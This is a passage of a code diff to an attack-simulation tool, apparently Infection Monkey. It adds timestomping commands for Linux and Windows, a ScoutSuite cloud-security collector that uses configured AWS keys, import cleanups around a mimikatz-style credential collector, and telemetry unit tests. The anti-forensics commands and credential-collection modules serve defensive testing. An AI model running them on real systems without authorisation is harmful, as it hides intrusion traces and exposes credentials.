test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd): + expected_command = CUSTOM_LINUX_CMD + assert mock_UsersPBA_linux_custom_cmd.command == expected_command + + +@pytest.fixture +def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", + CUSTOM_WINDOWS_CMD, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_windows_filename", None + ) + return UsersPBA() + + +def test_command_windows_custom_cmd(mock_UsersPBA_windows_custom_cmd): + expected_command = CUSTOM_WINDOWS_CMD + assert mock_UsersPBA_windows_custom_cmd.command == expected_command diff --git a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py new file mode 100644 index 000000000..ee6c02f58 --- /dev/null +++ b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py @@ -0,0 +1,14 @@ +TEMP_FILE = 'monkey-timestomping-file.txt' +TIMESTAMP_EPOCH = '197001010000.00' + + +def get_linux_timestomping_commands(): + return [ + f'echo "Successfully changed a file\'s modification timestamp" > {TEMP_FILE} && ' + f'touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && ' + f'cat {TEMP_FILE} ; ' + f'rm {TEMP_FILE} -f' + ] + + +# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md diff --git a/monkey/infection_monkey/post_breach/timestomping/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/timestomping.py new file mode 100644 index 000000000..321904c41 --- /dev/null +++ b/monkey/infection_monkey/post_breach/timestomping/timestomping.py @@ -0,0 +1,8 @@ +from infection_monkey.post_breach.timestomping.linux.timestomping import get_linux_timestomping_commands +from infection_monkey.post_breach.timestomping.windows.timestomping import get_windows_timestomping_commands + + +def get_timestomping_commands(): + linux_cmds = get_linux_timestomping_commands() + windows_cmds = get_windows_timestomping_commands() + return linux_cmds, windows_cmds diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1 b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1 new file mode 100644 index 000000000..ce94ac08a --- /dev/null +++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1 @@ -0,0 +1,13 @@ +$TEMP_FILE = 'monkey-timestomping-file.txt' +$TIMESTAMP_EPOCH = '01/01/1970 00:00:00' + +# create temporary file +New-Item -Path $TEMP_FILE -Force | Out-Null +Set-Content $TEMP_FILE -Value "Successfully changed a file's modification timestamp" -Force | Out-Null + +# attempt to change modification timestamp +Get-ChildItem $TEMP_FILE | % { $_.LastWriteTime = $TIMESTAMP_EPOCH } +Get-Content $TEMP_FILE + +# remove temporary file +Remove-Item $TEMP_FILE -Force -ErrorAction Ignore diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py new file mode 100644 index 000000000..9f23193f7 --- /dev/null +++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py @@ -0,0 +1,8 @@ +TEMP_FILE = 'monkey-timestomping-file.txt' + + +def get_windows_timestomping_commands(): + return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1' + + +# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md diff --git a/monkey/infection_monkey/post_breach/trap_command/trap_command.py b/monkey/infection_monkey/post_breach/trap_command/trap_command.py index bd25e3d11..641be0300 100644 --- a/monkey/infection_monkey/post_breach/trap_command/trap_command.py +++ b/monkey/infection_monkey/post_breach/trap_command/trap_command.py @@ -1,5 +1,4 @@ -from infection_monkey.post_breach.trap_command.linux_trap_command import \ - get_linux_trap_commands +from infection_monkey.post_breach.trap_command.linux_trap_command import get_linux_trap_commands def get_trap_commands(): diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index c9633b555..069d1ce07 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -1,3 +1,4 @@ +cryptography==2.5 WinSys-3.x>=0.5.2 cffi>=1.14 ecdsa==0.15 @@ -12,5 +13,9 @@ pycryptodome==3.9.8 pyftpdlib==1.5.6 pymssql<3.0 pypykatz==0.3.12 +pysmb==1.2.5 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' +urllib3==1.25.8 +git+https://github.com/guardicode/ScoutSuite +simplejson diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 05bb3a4d0..a5502a2c0 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -4,12 +4,11 @@ from enum import IntEnum import psutil -from common.data.system_info_collectors_names import AZURE_CRED_COLLECTOR +from common.common_consts.system_info_collectors_names import AZURE_CRED_COLLECTOR from infection_monkey.network.info import get_host_subnets from infection_monkey.system_info.azure_cred_collector import AzureCollector from infection_monkey.system_info.netstat_collector import NetstatCollector -from infection_monkey.system_info.system_info_collectors_handler import \ - SystemInfoCollectorsHandler +from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py index bdf470735..94a7baf2a 100644 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ b/monkey/infection_monkey/system_info/collectors/aws_collector.py @@ -1,9 +1,11 @@ import logging from common.cloud.aws.aws_instance import AwsInstance -from common.data.system_info_collectors_names import AWS_COLLECTOR -from infection_monkey.system_info.system_info_collector import \ - SystemInfoCollector +from common.cloud.scoutsuite_consts import CloudProviders +from common.common_consts.system_info_collectors_names import AWS_COLLECTOR +from infection_monkey.network.tools import is_running_on_island +from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import scan_cloud_security +from infection_monkey.system_info.system_info_collector import SystemInfoCollector logger = logging.getLogger(__name__) @@ -17,6 +19,11 @@ class AwsCollector(SystemInfoCollector): def collect(self) -> dict: logger.info("Collecting AWS info") + if is_running_on_island(): + logger.info("Attempting to scan AWS security with ScoutSuite.") + scan_cloud_security(cloud_type=CloudProviders.AWS) + else: + logger.info("Didn't scan AWS security with ScoutSuite, because not on island.") aws = AwsInstance() info = {} if aws.is_instance(): diff --git a/monkey/infection_monkey/system_info/collectors/environment_collector.py b/monkey/infection_monkey/system_info/collectors/environment_collector.py index 9bcd917ee..039ede6f5 100644 --- a/monkey/infection_monkey/system_info/collectors/environment_collector.py +++ b/monkey/infection_monkey/system_info/collectors/environment_collector.py @@ -1,8 +1,7 @@ from common.cloud.all_instances import get_all_cloud_instances from common.cloud.environment_names import Environment -from common.data.system_info_collectors_names import ENVIRONMENT_COLLECTOR -from infection_monkey.system_info.system_info_collector import \ - SystemInfoCollector +from common.common_consts.system_info_collectors_names import ENVIRONMENT_COLLECTOR +from infection_monkey.system_info.system_info_collector import SystemInfoCollector def get_monkey_environment() -> str: diff --git a/monkey/infection_monkey/system_info/collectors/hostname_collector.py b/monkey/infection_monkey/system_info/collectors/hostname_collector.py index ae9560815..0aeecd9fb 100644 --- a/monkey/infection_monkey/system_info/collectors/hostname_collector.py +++ b/monkey/infection_monkey/system_info/collectors/hostname_collector.py @@ -1,9 +1,8 @@ import logging import socket -from common.data.system_info_collectors_names import HOSTNAME_COLLECTOR -from infection_monkey.system_info.system_info_collector import \ - SystemInfoCollector +from common.common_consts.system_info_collectors_names import HOSTNAME_COLLECTOR +from infection_monkey.system_info.system_info_collector import SystemInfoCollector logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py index b732a4090..cdb5bc045 100644 --- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py +++ b/monkey/infection_monkey/system_info/collectors/process_list_collector.py @@ -2,9 +2,8 @@ import logging import psutil -from common.data.system_info_collectors_names import PROCESS_LIST_COLLECTOR -from infection_monkey.system_info.system_info_collector import \ - SystemInfoCollector +from common.common_consts.system_info_collectors_names import PROCESS_LIST_COLLECTOR +from infection_monkey.system_info.system_info_collector import SystemInfoCollector logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py new file mode 100644 index 000000000..79aabea56 --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -0,0 +1,33 @@ +import logging +from typing import Union + +import ScoutSuite.api_run +from ScoutSuite.providers.base.provider import BaseProvider + +from common.cloud.scoutsuite_consts import CloudProviders +from common.utils.exceptions import ScoutSuiteScanError +from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.scoutsuite_telem import ScoutSuiteTelem + +logger = logging.getLogger(__name__) + + +def scan_cloud_security(cloud_type: CloudProviders): + try: + results = run_scoutsuite(cloud_type.value) + if isinstance(results, dict) and 'error' in results and results['error']: + raise ScoutSuiteScanError(results['error']) + send_scoutsuite_run_results(results) + except (Exception, ScoutSuiteScanError) as e: + logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") + + +def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: + return ScoutSuite.api_run.run(provider=cloud_type, + aws_access_key_id=WormConfiguration.aws_access_key_id, + aws_secret_access_key=WormConfiguration.aws_secret_access_key, + aws_session_token=WormConfiguration.aws_session_token) + + +def send_scoutsuite_run_results(run_results: BaseProvider): + ScoutSuiteTelem(run_results).send() diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py index 4e8281e7a..cc007ff86 100644 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ b/monkey/infection_monkey/system_info/system_info_collectors_handler.py @@ -1,8 +1,7 @@ import logging from typing import Sequence -from infection_monkey.system_info.system_info_collector import \ - SystemInfoCollector +from infection_monkey.system_info.system_info_collector import SystemInfoCollector from infection_monkey.telemetry.system_info_telem import SystemInfoTelem LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index 506c92412..96d3912e3 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -1,10 +1,8 @@ import logging from typing import List -from infection_monkey.system_info.windows_cred_collector import \ - pypykatz_handler -from infection_monkey.system_info.windows_cred_collector.windows_credentials import \ - WindowsCredentials +from infection_monkey.system_info.windows_cred_collector import pypykatz_handler +from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py index cba4c330a..ca146573f 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py @@ -3,8 +3,7 @@ from typing import Any, Dict, List, NewType from pypykatz.pypykatz import pypykatz -from infection_monkey.system_info.windows_cred_collector.windows_credentials import \ - WindowsCredentials +from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds'] @@ -67,8 +66,8 @@ def _get_windows_cred(pypykatz_cred: PypykatzCredential): def _hash_to_string(hash_: Any): - if type(hash_) == str: + if type(hash_) is str: return hash_ - if type(hash_) == bytes: + if type(hash_) is bytes: return binascii.hexlify(bytearray(hash_)).decode() raise Exception(f"Can't convert hash_ to string, unsupported hash_ type {type(hash_)}") diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py index 2ad76a4e5..165b00cf2 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -1,7 +1,6 @@ from unittest import TestCase -from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import \ - _get_creds_from_pypykatz_session +from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session class TestPypykatzHandler(TestCase): diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index d6b3cbec8..8a53898c7 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,20 +1,15 @@ import logging -import os +import subprocess import sys -from common.data.system_info_collectors_names import MIMIKATZ_COLLECTOR -from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import \ - MimikatzCredentialCollector +from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR +from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import MimikatzCredentialCollector sys.coinit_flags = 0 # needed for proper destruction of the wmi python module -# noinspection PyPep8 -import infection_monkey.config -# noinspection PyPep8 -from common.utils.wmi_utils import WMIUtils -# noinspection PyPep8 -from infection_monkey.system_info import InfoCollector -# noinspection PyPep8 -from infection_monkey.system_info.wmi_consts import WMI_CLASSES +import infection_monkey.config # noqa: E402 +from common.utils.wmi_utils import WMIUtils # noqa: E402 +from infection_monkey.system_info import InfoCollector # noqa: E402 +from infection_monkey.system_info.wmi_consts import WMI_CLASSES # noqa: E402 LOG = logging.getLogger(__name__) LOG.info('started windows info collector') @@ -51,16 +46,21 @@ class WindowsInfoCollector(InfoCollector): return self.info def get_installed_packages(self): - LOG.info('getting installed packages') - self.info["installed_packages"] = os.popen("dism /online /get-packages").read() - self.info["installed_features"] = os.popen("dism /online /get-features").read() + LOG.info('Getting installed packages') + + packages = subprocess.check_output("dism /online /get-packages", shell=True) + self.info["installed_packages"] = packages.decode('utf-8', errors='ignore') + + features = subprocess.check_output("dism /online /get-features", shell=True) + self.info["installed_features"] = features.decode('utf-8', errors='ignore') + LOG.debug('Got installed packages') def get_wmi_info(self): - LOG.info('getting wmi info') + LOG.info('Getting wmi info') for wmi_class_name in WMI_CLASSES: self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) - LOG.debug('finished get_wmi_info') + LOG.debug('Finished get_wmi_info') def get_mimikatz_info(self): LOG.info("Gathering mimikatz info") diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py index 893f4492a..ba3fae8fd 100644 --- a/monkey/infection_monkey/telemetry/attack/attack_telem.py +++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "VakarisZ" @@ -15,7 +16,7 @@ class AttackTelem(BaseTelem): self.technique = technique self.status = status - telem_category = 'attack' + telem_category = TelemCategoryEnum.ATTACK def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index efea27063..94be44a79 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -3,6 +3,7 @@ from infection_monkey.telemetry.attack.usage_telem import AttackTelem class T1064Telem(AttackTelem): def __init__(self, status, usage): + # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques """ T1064 telemetry. :param status: ScanStatus of technique diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py index 387c3aa13..769f93823 100644 --- a/monkey/infection_monkey/telemetry/attack/t1197_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py @@ -5,6 +5,7 @@ __author__ = "itay.mizeretz" class T1197Telem(VictimHostTelem): def __init__(self, status, machine, usage): + # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques """ T1197 telemetry. :param status: ScanStatus of technique diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py deleted file mode 100644 index 2ccab7483..000000000 --- a/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py +++ /dev/null @@ -1,29 +0,0 @@ -from unittest import TestCase - -from common.utils.attack_utils import ScanStatus -from infection_monkey.model import VictimHost -from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem - - -class TestVictimHostTelem(TestCase): - def test_get_data(self): - machine = VictimHost('127.0.0.1') - status = ScanStatus.USED - technique = 'T1210' - - telem = VictimHostTelem(technique, status, machine) - - self.assertEqual(telem.telem_category, 'attack') - - expected_data = { - 'machine': { - 'domain_name': machine.domain_name, - 'ip_addr': machine.ip_addr - }, - 'status': status.value, - 'technique': technique - } - - actual_data = telem.get_data() - - self.assertEqual(actual_data, expected_data) diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index 7617ab4e3..96e7a6288 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -5,9 +5,23 @@ import logging from infection_monkey.control import ControlClient logger = logging.getLogger(__name__) +LOGGED_DATA_LENGTH = 300 # How many characters of telemetry data will be logged __author__ = 'itay.mizeretz' +# TODO: Rework the interface for telemetry; this class has too many responsibilities +# (i.e. too many reasons to change): +# +# 1. Store telemetry data +# 2. Serialize telemetry data +# 3. Send telemetry data +# 4. Log telemetry data +# +# One appaoach is that Telemetry objects should be immutable after construction +# and the only necessary public method be a `serialize()` method. Telemetry +# objects can be passed to other objects or functions that are responsible for +# logging and sending them. + class BaseTelem(object, metaclass=abc.ABCMeta): """ @@ -22,12 +36,25 @@ class BaseTelem(object, metaclass=abc.ABCMeta): Sends telemetry to island """ data = self.get_data() + serialized_data = json.dumps(data, cls=self.json_encoder) + self._log_telem_sending(serialized_data, log_data) + ControlClient.send_telemetry(self.telem_category, serialized_data) + + @abc.abstractmethod + def get_data(self) -> dict: + """ + :return: Data of telemetry (should be dict) + """ + pass + + @property + def json_encoder(self): + return json.JSONEncoder + + def _log_telem_sending(self, serialized_data: str, log_data=True): + logger.debug(f"Sending {self.telem_category} telemetry.") if log_data: - data_to_log = json.dumps(data) - else: - data_to_log = 'redacted' - logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, data_to_log)) - ControlClient.send_telemetry(self.telem_category, data) + logger.debug(f"Telemetry contents: {BaseTelem._truncate_data(serialized_data)}") @property @abc.abstractmethod @@ -37,9 +64,9 @@ class BaseTelem(object, metaclass=abc.ABCMeta): """ pass - @abc.abstractmethod - def get_data(self) -> dict: - """ - :return: Data of telemetry (should be dict) - """ - pass + @staticmethod + def _truncate_data(data: str): + if len(data) <= LOGGED_DATA_LENGTH: + return data + else: + return f"{data[:LOGGED_DATA_LENGTH]}..." diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index bb114434f..0a33d1484 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -15,7 +16,7 @@ class ExploitTelem(BaseTelem): self.exploiter = exploiter self.result = result - telem_category = 'exploit' + telem_category = TelemCategoryEnum.EXPLOIT def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index e5e443123..15aa41247 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -1,5 +1,6 @@ import socket +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -18,7 +19,7 @@ class PostBreachTelem(BaseTelem): self.result = result self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() - telem_category = 'post_breach' + telem_category = TelemCategoryEnum.POST_BREACH def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py index b1c58ab1b..a4dac1396 100644 --- a/monkey/infection_monkey/telemetry/scan_telem.py +++ b/monkey/infection_monkey/telemetry/scan_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -13,7 +14,7 @@ class ScanTelem(BaseTelem): super(ScanTelem, self).__init__() self.machine = machine - telem_category = 'scan' + telem_category = TelemCategoryEnum.SCAN def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py new file mode 100644 index 000000000..ba112f8b9 --- /dev/null +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -0,0 +1,19 @@ +from ScoutSuite.output.result_encoder import ScoutJsonEncoder +from ScoutSuite.providers.base.provider import BaseProvider +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.telemetry.base_telem import BaseTelem + + +class ScoutSuiteTelem(BaseTelem): + + def __init__(self, provider: BaseProvider): + super().__init__() + self.provider_data = provider + + json_encoder = ScoutJsonEncoder + telem_category = TelemCategoryEnum.SCOUTSUITE + + def get_data(self): + return { + 'data': self.provider_data + } diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py index 4d4224288..9ecd53c20 100644 --- a/monkey/infection_monkey/telemetry/state_telem.py +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -14,7 +15,7 @@ class StateTelem(BaseTelem): self.is_done = is_done self.version = version - telem_category = 'state' + telem_category = TelemCategoryEnum.STATE def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py index 69ee7beda..a7ac21456 100644 --- a/monkey/infection_monkey/telemetry/system_info_telem.py +++ b/monkey/infection_monkey/telemetry/system_info_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -13,7 +14,7 @@ class SystemInfoTelem(BaseTelem): super(SystemInfoTelem, self).__init__() self.system_info = system_info - telem_category = 'system_info' + telem_category = TelemCategoryEnum.SYSTEM_INFO def get_data(self): return self.system_info diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py new file mode 100644 index 000000000..0812b1ea6 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py @@ -0,0 +1,24 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +STATUS = ScanStatus.USED +TECHNIQUE = "T9999" + + +@pytest.fixture +def attack_telem_test_instance(): + return AttackTelem(TECHNIQUE, STATUS) + + +def test_attack_telem_send(attack_telem_test_instance, spy_send_telemetry): + attack_telem_test_instance.send() + expected_data = {"status": STATUS.value, "technique": TECHNIQUE} + expected_data = json.dumps(expected_data, cls=attack_telem_test_instance.json_encoder) + + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py new file mode 100644 index 000000000..6464d1121 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py @@ -0,0 +1,29 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + + +GATHERED_DATA_TYPE = "[Type of data collected]" +INFO = "[Additional info]" +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1005_telem_test_instance(): + return T1005Telem(STATUS, GATHERED_DATA_TYPE, INFO) + + +def test_T1005_send(T1005_telem_test_instance, spy_send_telemetry): + T1005_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": "T1005", + "gathered_data_type": GATHERED_DATA_TYPE, + "info": INFO, + } + expected_data = json.dumps(expected_data, cls=T1005_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py new file mode 100644 index 000000000..6313278ff --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py @@ -0,0 +1,23 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.t1035_telem import T1035Telem + + +STATUS = ScanStatus.USED +USAGE = UsageEnum.SMB + + +@pytest.fixture +def T1035_telem_test_instance(): + return T1035Telem(STATUS, USAGE) + + +def test_T1035_send(T1035_telem_test_instance, spy_send_telemetry): + T1035_telem_test_instance.send() + expected_data = {"status": STATUS.value, "technique": "T1035", "usage": USAGE.name} + expected_data = json.dumps(expected_data, cls=T1035_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py new file mode 100644 index 000000000..08031316b --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py @@ -0,0 +1,23 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem + + +STATUS = ScanStatus.USED +USAGE_STR = "[Usage info]" + + +@pytest.fixture +def T1064_telem_test_instance(): + return T1064Telem(STATUS, USAGE_STR) + + +def test_T1064_send(T1064_telem_test_instance, spy_send_telemetry): + T1064_telem_test_instance.send() + expected_data = {"status": STATUS.value, "technique": "T1064", "usage": USAGE_STR} + expected_data = json.dumps(expected_data, cls=T1064_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py new file mode 100644 index 000000000..4c3947141 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py @@ -0,0 +1,31 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + + +DST_IP = "0.0.0.1" +FILENAME = "virus.exe" +SRC_IP = "0.0.0.0" +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1105_telem_test_instance(): + return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME) + + +def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): + T1105_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": "T1105", + "filename": FILENAME, + "src": SRC_IP, + "dst": DST_IP, + } + expected_data = json.dumps(expected_data, cls=T1105_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py new file mode 100644 index 000000000..db537cc51 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py @@ -0,0 +1,23 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem + + +STATUS = ScanStatus.USED +USAGE = UsageEnum.SMB + + +@pytest.fixture +def T1106_telem_test_instance(): + return T1106Telem(STATUS, USAGE) + + +def test_T1106_send(T1106_telem_test_instance, spy_send_telemetry): + T1106_telem_test_instance.send() + expected_data = {"status": STATUS.value, "technique": "T1106", "usage": USAGE.name} + expected_data = json.dumps(expected_data, cls=T1106_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py new file mode 100644 index 000000000..993040244 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py @@ -0,0 +1,23 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1107_telem import T1107Telem + + +PATH = "path/to/file.txt" +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1107_telem_test_instance(): + return T1107Telem(STATUS, PATH) + + +def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): + T1107_telem_test_instance.send() + expected_data = {"status": STATUS.value, "technique": "T1107", "path": PATH} + expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert 